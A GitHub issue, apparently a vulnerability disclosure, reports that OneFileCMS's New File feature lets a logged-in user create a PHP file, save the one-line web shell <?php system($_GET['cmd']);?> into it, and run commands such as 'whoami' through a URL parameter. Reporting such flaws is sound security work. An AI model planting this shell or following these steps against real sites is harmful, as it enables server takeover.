Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The " New FIle " button cause getshell #7

Open
havysec opened this issue Jun 28, 2018 · 0 comments
Open

The " New FIle " button cause getshell #7

havysec opened this issue Jun 28, 2018 · 0 comments

Comments

@havysec
Copy link

havysec commented Jun 28, 2018

http://fragrant:30001/OneFileCMS/onefilecms.php
use username and password login the page
type New filename '123.php' click Create

image

123.php created successfully.
image

click 123.php write below

<?php system($_GET['cmd']);?>

click save

image

123.php saved successfully.

fragrant:30001/OneFileCMS/123.php?cmd=whoami

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant